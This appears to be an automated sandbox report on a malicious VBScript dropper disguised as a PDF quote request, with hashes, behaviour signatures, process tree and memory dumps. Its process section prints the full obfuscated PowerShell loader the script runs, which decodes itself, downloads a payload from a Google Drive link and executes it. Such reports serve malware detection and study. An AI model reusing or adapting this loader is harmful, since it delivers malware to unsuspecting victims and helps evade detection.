Analysis

  • max time kernel
    120s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    12-11-2024 18:18

General

  • Target

    Solicitud de presupuesto 12-11-2024·pdf.vbs

  • Size

    85KB

  • MD5

    ef05b12108686dfa62a992fb2d7dad60

  • SHA1

    beecc800e64eae43578d5edf0aedecdf81ff8c45

  • SHA256

    46ee1e91ee442be3cb9cec42a4a9bf789fba87b2307856fc0b5fb6caed8f0df9

  • SHA512

    d5cd373c685b9306f791032552a48827368ff5043e830bd0f54a478b96b3a4ab182c11facb7845148fe1f3ba9a1865d1ad60fc8808be4b5ad70d4cc58ba01a05

  • SSDEEP

    1536:T70tj9e0kFnGd9pZpuoNNC+JksGtp5qskc5ATSo/kNYEkgl1V0QXaAj2khj4:TQp9ehdU9jrPMessTSo/kNY1IVjHh8

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Network Service Discovery 1 TTPs 1 IoCs

    Attempt to gather information on host's network.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Solicitud de presupuesto 12-11-2024·pdf.vbs"
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:1620
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Abeigh Uforkortet Stewardernes Mycoprotein Butanernes Bjlers #><#konkordancefil Husmandsbrugene caprioled Differentiations #>$Aflggeres250='Overstalely';function Rollespils($Cinenchym){If ($host.DebuggerEnabled) {$Vankede++;$Basketballkasketten=$Cinenchym.'Length' - $Vankede} for ( $Spndvidden=4;$Spndvidden -lt $Basketballkasketten;$Spndvidden+=5){$Kumpans=$Spndvidden;$Teologen+=$Cinenchym[$Spndvidden]}$Teologen}function Hypotypic($Spndviddenmperii124){ .($Knurrendes) ($Spndviddenmperii124)}$Bed83=Rollespils 'Jerfn CoiE VigTHu k.Un.sWBranEKontB AfsCEnkel brnIIdenESt,enStraTEuda ';$Patientklagenvn=Rollespils ' So,MJub,o Phoz SleiFdselP rtl Frsa.uge/s pp ';$Husholdningsbudgets=Rollespils 'destTP ocl .ossMe,t1P,at2Inte ';$Acetatets=' Haa[MythNrampEfremt Hay. itrstableReawRVencVDisiIpe fC FluE Un PKrgeOBeesiDe.tnEkshTs,gnmTzarAManaN sk.aCha.G NuleSkthR for]G,im: ,ik:EndosEsp.EpetrcSpriuA moRScypI Be,tSelvYMadrPmuktrMet oac,itPre OJillc EksO orLSubl=Enea$ BichCornURi.uSOrdiH ceoAalbLNed.dByt.nKommI ecaN kimGBi.os EneBKontuCounDTnkeGT stEVeneterf SKoba ';$Patientklagenvn+=Rollespils 'Kred5Ost..Aris0Fr v Supe(t ngW EneiTonanRa fdB.too AmiwBygnsN nm ApacNIn oTOire Ham,1Igl.0Char.Jewl0 Cir;Prog FnotW ectiUnasnP,la6Z br4Gamm; Sej CorrxSkde6 Eje4Hur,;Preh SlvsrGubevKomm: Aur1Unen3 Opt1 Des.U pa0Luxm)Go s NonmGAfsneBarocVskek aaoB ka/Sadh2Ange0Mous1Stin0Sy d0 Ber1Tann0 Res1Soes ,eabFAlkyiNebur Afte Oxaf Hyno hasx For/Pash1Suff3 ndu1Sank.Unac0Over ';$Libbard=Rollespils ' Ka.uSundsMontEIncor Am -PlouAImd G ScieTolkN EchtUret ';$Slvtjsskabs=Rollespils ' Civh dretAf.ktKo pp Miss Bud: P r/Tvis/O redThairFurriOpskvWesteRefo. ,pig Peno Havo Gerg BonlAfste Sk..Ko mc BruoMa,mmPeri/YankuIncac Hai?H,use artxTot pI pro oter No tPren=Godkd Humo .luwHv rnShralomd oNonaaBaand Lat&PainiPoladT ed=P.rd1pandoDewao enINoncMSejrdSamiA .ragStud9Beha4 colm Wa RForhdTeksP ollpF,stXCh,oI prDMeteGF lbZTempA MetRAttrESkats spaD Fy EorogeHaneV C m0 BekFTurbzSmu w Dy,iEmb ';$Absenteringer=Rollespils 'Step>Styl ';$Knurrendes=Rollespils 'GeneI VivE uryX Und ';$Unblooming='Skjaldedigtenes';$Smilehullets='\Monactinal.Emb';Hypotypic (Rollespils 'Hydr$leasGS,alLOmvaoOrk,B Alta.obblVek :StonsTermUOpman P mDS baE.rthRC.riiTurbNsku GAcqu=,zbl$Natae raN t.kv Sa :Il xAIretPMerbPA prD Anaa UdvTReseaPeng+Udry$LyxoSCir,m bwaIL ggLPompe Corhspecu.ebil orLAnaneSundtCanosGali ');Hypotypic (Rollespils 'Kedg$ gtgAvoclVinloSqu b VidA Tirl F e:PrenASammnU mit Poli .mtPChinASkritDul,RRe,sICafeaTr er M oCSparh OcyY oks=Lilt$MeanSCoroLPl rVBraat yltjBlddsIntes ernk,rudA R abShunSLin..Ful.sS itP ImpLUdsgIXyletVld.( str$ d,tACygnbSurrS H meAntindermtL ude yfor,reci EffN S gGCompeForkRRehy),and ');Hypotypic (Rollespils $Acetatets);$Slvtjsskabs=$Antipatriarchy[0];$Uninurned=(Rollespils ' ,wa$cancGHalmLAttro D,nB Ld,a StjlO tr:.nashLi hAMu lg SteGSqueARyggdNrmeIFe rSRykkTmatc=Roqun nste P nw Sa.- Brno,hevBSyphJSlvtEG nncRegetBill G,lvS Ba,YBob sSl,hT DonEHandMKryp. Poc$HexabWifeeAnthDApex8Refi3Cram ');Hypotypic ($Uninurned);Hypotypic (Rollespils ' A.t$Pa,rHEtata,ophg OligVirkaStradGuldiProtsAarotAfri.DipyH Cr eJordaEpidd VideMenir BrasTr n[Para$ PraLSq,ii agtbUnc b LanaLaenramphdEfte]Ops =Udfo$ProtPTrafaFangt VrdiRunde I.qnDumetKna,kShellRefraTyvsgDumpealtnnKae vUgebnWhin ');$Kraniebrud=Rollespils 'Fir,$AandHLeptaUdspg yspgC isaombudVaudiBon sTrantStra.IndbDAh soIndewSjagnW.itlcoeno Pita SkedWoodF ejfi aral C neFolk( Ram$ verS Lu lCharvS.ert BygjKonts ,issSepak lluaA hmbPipes per,undi$sluto emas UnctGathe Je oRefrsGynkt,mproSeksm VovoSikruOrddsStan)Foel ';$osteostomous=$Sundering;Hypotypic (Rollespils 'Ak e$ UniGQuinlEchiOUnacbLinja UnclC.to:EnhetPotaU ol rTrivnT ekuHereSRenoK BunA MannKlapDu.deIJemmdPaupa nikTForn=Enfe(TabtTPindEStikSUnprTNyph-SkarpDoliARef,tforpH Bur Re,o$BrdkoAnnosApp tBureEP llo Skos F rtStupoA thMLu tORosauConcSAlon)Omgn ');while (!$Turnuskandidat) {Hypotypic (Rollespils 'B,st$ TougIn rlQuifoTriebSteaaSplel Bal:UnobIHaqunp ers UnceSlvec.afttPermiElecfForpuRemeg KabeDefe= rem$DesitKopir AntuBemyeAppr ') ;Hypotypic $Kraniebrud;Hypotypic (Rollespils '.ollSUdkmTUnacAUbesrGa.eT V r-,indsTra.L pfiEBlaaePreipSkra eu4Ines ');Hypotypic (Rollespils 'Flec$acquG SpllUnupoTykkBS.adAForml Cor:BfdetForsU.verr ,nmn IlyuSta SLystKNaglaAftrnImprd ComI Biod GlyaCedeT Gr = Nic( Soct rareTan SArchTSikr-Sa,oPDebaaDeviTClauh Bl Pa n$CaraoJ rns FraTUnmoEcym,oDknisacidtBromORhizMNogeO pfiU ollsUnpa)Pede ') ;Hypotypic (Rollespils 'Notu$Restg emilKi dOPallBHyp.aBereLBor : ysta aurmForsoenebRUdd,IguavSAngutCh.r=Swil$SeksGSidel B ioVedtbKeckaNstelLine:EkspoLasev MurETranr U tBDodeE hel nsAPladS BaltSubjEDoctR.rst+Chir+Rath%Acco$St eaPrivNMulttNonmIsponpTravaMyxoTKlberT keISidea iderTropcHe.oH AgeYI ra. BorCBruxo L,nUS.rgnFrisTNon. ') ;$Slvtjsskabs=$Antipatriarchy[$Amorist]}$Kontohaverens=309792;$Patrocinium=31679;Hypotypic (Rollespils ' T n$ FriG Un.L BeaO NonBAnabaKeraL,ant:KngtVOphuaBegon Ra dAgelSLa oK Unir UnikSvinkudfoeDogbNTr ks lag Eje =Re,u PneugT pwEUd itImpo- hinc PreoRiddnSyretk,rtE Pa NUnsut Tos .pis$SpknOSnebSCoenTIntee Stio oftsParatUncoo nhamOrobo Arcu CraSuun, ');Hypotypic (Rollespils 'Gni $OplagOverlMonooLderbScopaMennl Hn,:NgoeDUnf iSkydaSldepDia,eQ ayr ConsDa b Med =Ph t Cent[RelaSCentyPas.sEavet,utoeCo.mmSemi. UdaC SkooSdemnPresv E.tePne rFilitUns ]Nema:garg:UnseFJ cyr Ri o M sm tilBThyra T ks ZomeHone6Trio4AdreSFritt LevrTekni A.pnWhisgSar (n ni$JourV ChaaFerinSo.rdC dfsTen k E.trBethkNickkLagre Ba nKrimsPick)Tr g ');Hypotypic (Rollespils 'togg$ PergheksL ddaOEkspbKa,fa,lepl Ren:WintP V.jrDukkoStrmT lgpoEneiKOv.rOSydhLSmerl onECon RBirtE Co NPa fdFortE wx Kal=Felo ng[.lexSSemiytrensS ndTforgeD tamSava.Dim T terEl vkXMe ut Wro.Fe,aE Ba NA leCFor oAminD rniIKordnAnnaG fr ]Pseu: ae:Bi.sA antSRegnC iscISer,IR st. lysGMogieSt utSp,sSEngitHaanrPungi FejN ForGFisk( met$ TemdPto iInapAtenaP T.keKl rr.ldesFort)Desp ');Hypotypic (Rollespils 'J ve$ naGUnamLSlevO adiB P,lABersli ce:bunsCAnomh BerABunkN BrigKoncE radA ParBZobllKan.EJogg=Kval$LargPS.kkRnonsO ConTantaoDuroKRekuoNew,LBerslPiscE Svir PeaeLittnCre dKanae Ort.RabasTrenuStinB calsFastTPsykrSalviengonTendgOcca(Skot$Ty,gKFrusoReilnGaintLattOC,lahN,nna Lovv vivEB,drR.snieMannnStttsMeto,Dato$Sp oPViv aEx.nt ,onr RunOQuadc ilhITugtn,onfichilUTourm tri)Wayt ');Hypotypic $Changeable;"
      2⤵
      • Network Service Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2516

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\CabBAF8.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • memory/2516-20-0x000007FEF5B3E000-0x000007FEF5B3F000-memory.dmp

    Filesize

    4KB

  • memory/2516-22-0x000007FEF5880000-0x000007FEF621D000-memory.dmp

    Filesize

    9.6MB

  • memory/2516-23-0x0000000001DA0000-0x0000000001DA8000-memory.dmp

    Filesize

    32KB

  • memory/2516-21-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

    Filesize

    2.9MB

  • memory/2516-24-0x000007FEF5880000-0x000007FEF621D000-memory.dmp

    Filesize

    9.6MB

  • memory/2516-25-0x000007FEF5880000-0x000007FEF621D000-memory.dmp

    Filesize

    9.6MB

  • memory/2516-26-0x000007FEF5880000-0x000007FEF621D000-memory.dmp

    Filesize

    9.6MB

  • memory/2516-27-0x000007FEF5B3E000-0x000007FEF5B3F000-memory.dmp

    Filesize

    4KB

  • memory/2516-28-0x000007FEF5880000-0x000007FEF621D000-memory.dmp

    Filesize

    9.6MB

  • memory/2516-29-0x000007FEF5880000-0x000007FEF621D000-memory.dmp

    Filesize

    9.6MB

  • memory/2516-30-0x000007FEF5880000-0x000007FEF621D000-memory.dmp

    Filesize

    9.6MB